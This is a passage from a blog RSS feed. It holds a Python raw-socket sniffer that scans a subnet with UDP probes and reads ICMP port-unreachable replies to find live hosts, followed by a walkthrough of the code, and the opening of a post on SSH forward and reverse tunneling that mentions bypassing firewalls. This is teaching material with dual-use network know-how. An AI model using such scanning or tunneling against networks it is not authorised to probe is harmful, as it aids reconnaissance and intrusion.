        ip_header = IP(raw_buffer[:20])

        print(&quot;Protocol: %s %s -&gt; %s&quot; % (
            ip_header.protocol,
            ip_header.src_address,
            ip_header.dst_address)
              )

        # if it's ICMP we want it
        if ip_header.protocol == &quot;ICMP&quot;:

            # calculate where our ICMP packet starts
            offset = ip_header.ihl * 4
            buf = raw_buffer[offset:offset + sizeof(ICMP)]

            # create our ICMP structure
            icmp_header = ICMP(buf)

            print(&quot;ICMP -&gt; Type: %d Code: %d&quot; % (
                icmp_header.type,
                icmp_header.code)
                  )

            # now check for the TYPE 3 and CODE 3 which indicates
            # a host is up but no port available to talk to           
            if icmp_header.code == 3 and icmp_header.type == 3:

                # check to make sure we are receiving the response 
                # that lands in our subnet
                if ip_address(ip_header.src_address) in ip_network(tgt_subnet):

                    # test for our magic message
                    if raw_buffer[len(raw_buffer)
                       - len(tgt_message):] == tgt_message:
                        print(&quot;Host Up: %s&quot; % ip_header.src_address)

# handle CTRL-C
except KeyboardInterrupt:
    # if we're on Windows turn off promiscuous mode
    if os.name == &quot;nt&quot;:
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> socket</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> os</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> struct</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> threading</span></span>
<span class="line"><span style="color: #F92672">from</span><span style="color: #F8F8F2"> ipaddress </span><span style="color: #F92672">import</span><span style="color: #F8F8F2"> ip_address, ip_network</span></span>
<span class="line"><span style="color: #F92672">from</span><span style="color: #F8F8F2"> ctypes </span><span style="color: #F92672">import</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">*</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># host to listen on</span></span>
<span class="line"><span style="color: #F8F8F2">host </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;192.168.0.187&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># subnet to target</span></span>
<span class="line"><span style="color: #F8F8F2">tgt_subnet </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;192.168.0.0/24&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># magic we&#39;ll check ICMP responses for</span></span>
<span class="line"><span style="color: #F8F8F2">tgt_message </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;PYTHONRULES!&quot;</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">udp_sender</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">sub_net</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">magic_message</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    sender </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.socket(socket.</span><span style="color: #AE81FF">AF_INET</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">SOCK_DGRAM</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> ip </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> ip_network(sub_net).hosts():</span></span>
<span class="line"><span style="color: #F8F8F2">        sender.sendto(magic_message.encode(</span><span style="color: #E6DB74">&#39;utf-8&#39;</span><span style="color: #F8F8F2">), (</span><span style="color: #66D9EF; font-style: italic">str</span><span style="color: #F8F8F2">(ip), </span><span style="color: #AE81FF">65212</span><span style="color: #F8F8F2">))</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">class</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E; text-decoration: underline">IP</span><span style="color: #F8F8F2">(</span><span style="color: #A6E22E; font-style: italic; text-decoration: underline">Structure</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    _fields_ </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> [</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;ihl&quot;</span><span style="color: #F8F8F2">, c_ubyte, </span><span style="color: #AE81FF">4</span><span style="color: #F8F8F2">),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;version&quot;</span><span style="color: #F8F8F2">, c_ubyte, </span><span style="color: #AE81FF">4</span><span style="color: #F8F8F2">),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;tos&quot;</span><span style="color: #F8F8F2">, c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;len&quot;</span><span style="color: #F8F8F2">, c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;id&quot;</span><span style="color: #F8F8F2">, c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;offset&quot;</span><span style="color: #F8F8F2">, c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;ttl&quot;</span><span style="color: #F8F8F2">, c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;protocol_num&quot;</span><span style="color: #F8F8F2">, c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;sum&quot;</span><span style="color: #F8F8F2">, c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;src&quot;</span><span style="color: #F8F8F2">, c_uint32),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;dst&quot;</span><span style="color: #F8F8F2">, c_uint32)</span></span>
<span class="line"><span style="color: #F8F8F2">    ]</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__new__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">cls</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">socket_buffer</span><span style="color: #F92672">=</span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #FD971F">cls</span><span style="color: #F8F8F2">.from_buffer_copy(socket_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__init__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">socket_buffer</span><span style="color: #F92672">=</span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.socket_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket_buffer</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># map protocol constants to their names</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol_map </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> {</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">: </span><span style="color: #E6DB74">&quot;ICMP&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">6</span><span style="color: #F8F8F2">: </span><span style="color: #E6DB74">&quot;TCP&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">17</span><span style="color: #F8F8F2">: </span><span style="color: #E6DB74">&quot;UDP&quot;</span><span style="color: #F8F8F2">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># human readable IP addresses</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.src_address </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.inet_ntoa(struct.pack(</span><span style="color: #E6DB74">&quot;@I&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.src))</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.dst_address </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.inet_ntoa(struct.pack(</span><span style="color: #E6DB74">&quot;@I&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.dst))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># human readable protocol</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol_map[</span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol_num]</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">IndexError</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">str</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol_num)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">class</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E; text-decoration: underline">ICMP</span><span style="color: #F8F8F2">(</span><span style="color: #A6E22E; font-style: italic; text-decoration: underline">Structure</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    _fields_ </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> [</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;type&quot;</span><span style="color: #F8F8F2">, c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;code&quot;</span><span style="color: #F8F8F2">, c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;checksum&quot;</span><span style="color: #F8F8F2">, c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;unused&quot;</span><span style="color: #F8F8F2">, c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;next_hop_mtu&quot;</span><span style="color: #F8F8F2">, c_ushort)</span></span>
<span class="line"><span style="color: #F8F8F2">    ]</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__new__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">cls</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">socket_buffer</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #FD971F">cls</span><span style="color: #F8F8F2">.from_buffer_copy(socket_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__init__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">socket_buffer</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.socket_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket_buffer</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># create a raw socket and bind it to the public interface</span></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    socket_protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.</span><span style="color: #AE81FF">IPPROTO_IP</span></span>
<span class="line"><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    socket_protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.</span><span style="color: #AE81FF">IPPROTO_ICMP</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">sniffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.socket(socket.</span><span style="color: #AE81FF">AF_INET</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">SOCK_RAW</span><span style="color: #F8F8F2">, socket_protocol)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">sniffer.bind((host, </span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># we want the IP headers included in the capture</span></span>
<span class="line"><span style="color: #F8F8F2">sniffer.setsockopt(socket.</span><span style="color: #AE81FF">IPPROTO_IP</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">IP_HDRINCL</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># if we&#39;re on Windows we need to send some ioctl</span></span>
<span class="line"><span style="color: #88846F"># to setup promiscuous mode</span></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    sniffer.ioctl(socket.</span><span style="color: #AE81FF">SIO_RCVALL</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">RCVALL_ON</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># start sending packets</span></span>
<span class="line"><span style="color: #F8F8F2">t </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> threading.Thread(</span><span style="color: #FD971F; font-style: italic">target</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">udp_sender, </span><span style="color: #FD971F; font-style: italic">args</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">(tgt_subnet, tgt_message))</span></span>
<span class="line"><span style="color: #F8F8F2">t.start()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># read in a single packet</span></span>
<span class="line"><span style="color: #F8F8F2">        raw_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> sniffer.recvfrom(</span><span style="color: #AE81FF">65535</span><span style="color: #F8F8F2">)[</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">]</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># create an IP header from the first 20 bytes of the buffer</span></span>
<span class="line"><span style="color: #F8F8F2">        ip_header </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> IP(raw_buffer[:</span><span style="color: #AE81FF">20</span><span style="color: #F8F8F2">])</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Protocol: </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74"> </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74"> -&gt; </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (</span></span>
<span class="line"><span style="color: #F8F8F2">            ip_header.protocol,</span></span>
<span class="line"><span style="color: #F8F8F2">            ip_header.src_address,</span></span>
<span class="line"><span style="color: #F8F8F2">            ip_header.dst_address)</span></span>
<span class="line"><span style="color: #F8F8F2">              )</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># if it&#39;s ICMP we want it</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> ip_header.protocol </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;ICMP&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># calculate where our ICMP packet starts</span></span>
<span class="line"><span style="color: #F8F8F2">            offset </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> ip_header.ihl </span><span style="color: #F92672">*</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">4</span></span>
<span class="line"><span style="color: #F8F8F2">            buf </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> raw_buffer[offset:offset </span><span style="color: #F92672">+</span><span style="color: #F8F8F2"> sizeof(</span><span style="color: #AE81FF">ICMP</span><span style="color: #F8F8F2">)]</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># create our ICMP structure</span></span>
<span class="line"><span style="color: #F8F8F2">            icmp_header </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> ICMP(buf)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;ICMP -&gt; Type: </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> Code: </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (</span></span>
<span class="line"><span style="color: #F8F8F2">                icmp_header.type,</span></span>
<span class="line"><span style="color: #F8F8F2">                icmp_header.code)</span></span>
<span class="line"><span style="color: #F8F8F2">                  )</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># now check for the TYPE 3 and CODE 3 which indicates</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># a host is up but no port available to talk to           </span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> icmp_header.code </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">3</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">and</span><span style="color: #F8F8F2"> icmp_header.type </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">3</span><span style="color: #F8F8F2">:</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #88846F"># check to make sure we are receiving the response </span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #88846F"># that lands in our subnet</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> ip_address(ip_header.src_address) </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> ip_network(tgt_subnet):</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #88846F"># test for our magic message</span></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> raw_buffer[</span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(raw_buffer)</span></span>
<span class="line"><span style="color: #F8F8F2">                       </span><span style="color: #F92672">-</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(tgt_message):] </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> tgt_message:</span></span>
<span class="line"><span style="color: #F8F8F2">                        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Host Up: </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> ip_header.src_address)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># handle CTRL-C</span></span>
<span class="line"><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">KeyboardInterrupt</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># if we&#39;re on Windows turn off promiscuous mode</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        sniffer.ioctl(socket.</span><span style="color: #AE81FF">SIO_RCVALL</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">RCVALL_OFF</span><span style="color: #F8F8F2">)</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><p>Certainly! Let’s break down the code:</p>
<ol>
<li>
<p><strong>Raw Socket Initialization:</strong></p>
<pre><code class="language-python">if os.name == &quot;nt&quot;:
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

if os.name == &quot;nt&quot;:
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
</code></pre>
<ul>
<li>Checks the operating system type. If it’s Windows (<code>os.name == &quot;nt&quot;</code>), uses <code>socket.IPPROTO_IP</code> as the protocol; otherwise, uses <code>socket.IPPROTO_ICMP</code>.</li>
<li>Creates a raw socket (<code>socket.AF_INET</code> for IPv4) and binds it to the specified host on any available port (<code>(host, 0)</code>).</li>
<li>Sets a socket option to include IP headers in the captured data.</li>
<li>If on Windows, enables promiscuous mode using <code>sniffer.ioctl</code>.</li>
</ul>
</li>
<li>
<p><strong>Thread for UDP Sender:</strong></p>
<pre><code class="language-python">t = threading.Thread(target=udp_sender, args=(tgt_subnet, tgt_message))
t.start()
</code></pre>
<ul>
<li>Creates a new thread that will execute the <code>udp_sender</code> function with the specified arguments (<code>tgt_subnet</code> and <code>tgt_message</code>).</li>
<li>Starts the thread to concurrently send UDP packets while the main thread captures and processes incoming packets.</li>
</ul>
</li>
<li>
<p><strong>Packet Sniffing Loop:</strong></p>
<pre><code class="language-python">while True:
    raw_buffer = sniffer.recvfrom(65535)[0]
    ip_header = IP(raw_buffer[:20])
</code></pre>
<ul>
<li>Enters an infinite loop for capturing packets using <code>sniffer.recvfrom(65535)</code>.</li>
<li>Reads the raw packet data and extracts the first 20 bytes to create an <code>IP</code> structure (<code>ip_header</code>).</li>
</ul>
</li>
<li>
<p><strong>Handling ICMP Packets:</strong></p>
<pre><code class="language-python">    if ip_header.protocol == &quot;ICMP&quot;:
        offset = ip_header.ihl * 4
        buf = raw_buffer[offset:offset + sizeof(ICMP)]
        icmp_header = ICMP(buf)
</code></pre>
<ul>
<li>Checks if the captured packet is an ICMP packet based on the protocol field in the IP header.</li>
<li>Calculates the offset to locate the ICMP header within the raw packet data.</li>
<li>Creates an <code>ICMP</code> structure (<code>icmp_header</code>) from the extracted ICMP header data.</li>
</ul>
</li>
<li>
<p><strong>Checking for Host Availability:</strong></p>
<pre><code class="language-python">        if icmp_header.code == 3 and icmp_header.type == 3:
            if ip_address(ip_header.src_address) in ip_network(tgt_subnet):
                if raw_buffer[len(raw_buffer) - len(tgt_message):] == tgt_message:
                    print(&quot;Host Up: %s&quot; % ip_header.src_address)
</code></pre>
<ul>
<li>Checks if the ICMP packet indicates a host is up (ICMP type 3 and code 3).</li>
<li>Verifies that the source IP is within the specified target subnet.</li>
<li>Compares the end of the raw packet data with the predefined <code>tgt_message</code> to confirm the host’s availability.</li>
<li>If all conditions are met, prints a message indicating that the host is up.</li>
</ul>
</li>
<li>
<p><strong>KeyboardInterrupt Handling:</strong></p>
</li>
</ol>
<pre><code class="language-python">except KeyboardInterrupt:
   if os.name == &quot;nt&quot;:
       sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
</code></pre>
<pre><code>- Handles a `KeyboardInterrupt` exception (Ctrl+C).
- If on Windows, disables promiscuous mode using `sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)`.
</code></pre>
</div>
<p>The post <a href="https://awjunaid.com/python/packet-sniffing-on-window-and-linux/">Packet Sniffing on window and linux</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/python/packet-sniffing-on-window-and-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">8927</post-id>	</item>
		<item>
		<title>SSH forward and reverse tunneling</title>
		<link>https://awjunaid.com/networking/ssh-forward-and-reverse-tunneling/</link>
					<comments>https://awjunaid.com/networking/ssh-forward-and-reverse-tunneling/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Fri, 29 Dec 2023 21:01:51 +0000</pubDate>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=8918</guid>

					<description><![CDATA[<p>The post <a href="https://awjunaid.com/networking/ssh-forward-and-reverse-tunneling/">SSH forward and reverse tunneling</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<div class="wp-block-jetpack-markdown"><p>SSH (Secure Shell) tunneling is a technique that allows you to securely forward network traffic from one networked device to another. There are two main types of SSH tunneling: forward tunneling and reverse tunneling.</p>
<ol>
<li>
<p><strong>SSH Forward Tunneling:</strong></p>
<ul>
<li><strong>Description:</strong>
<ul>
<li>Forward tunneling is the more common type of SSH tunneling. It allows you to establish a secure connection from a local machine to a remote machine, forwarding specific ports or services through the encrypted SSH connection.</li>
</ul>
</li>
<li><strong>Use Cases:</strong>
<ul>
<li><strong>Remote Access:</strong>
<ul>
<li>Accessing a service (e.g., a web server) on a remote machine securely.</li>
</ul>
</li>
<li><strong>Bypassing Firewalls:</strong>
<ul>
<li>Accessing services behind firewalls or network restrictions.</li>
</ul>
</li>
<li><strong>Secure Data Transfer:</strong>
<ul>
<li>Transmitting data securely over an untrusted network.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Example:</strong>
<ul>
<li>Suppose you have a web server running on a remote machine, and you want to access it securely from your local machine. You can use the following command to create a forward tunnel:<pre><code>ssh -L local_port:remote_server:remote_port user@remote_server
</code></pre>
This forwards traffic from <code>local_port</code> on your local machine to <code>remote_port</code> on the remote server.</li>
</ul>
</li>
</ul>
</li>
<li>
<p><strong>SSH Reverse Tunneling:</strong></p>
<ul>
<li><strong>Description:</strong>
<ul>
<li>Reverse tunneling is used to create a secure connection from a remote machine to a local machine, allowing the remote machine to access services on the local machine.</li>
</ul>
</li>
<li><strong>Use Cases:</strong>
<ul>
<li><strong>Remote Support:</strong>
<ul>
<li>Allowing remote support personnel to access services on a local machine securely.</li>
</ul>
</li>
<li><strong>Exposing Local Services:</strong>
<ul>
<li>Making services on a local machine accessible from the internet securely.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Example:</strong>
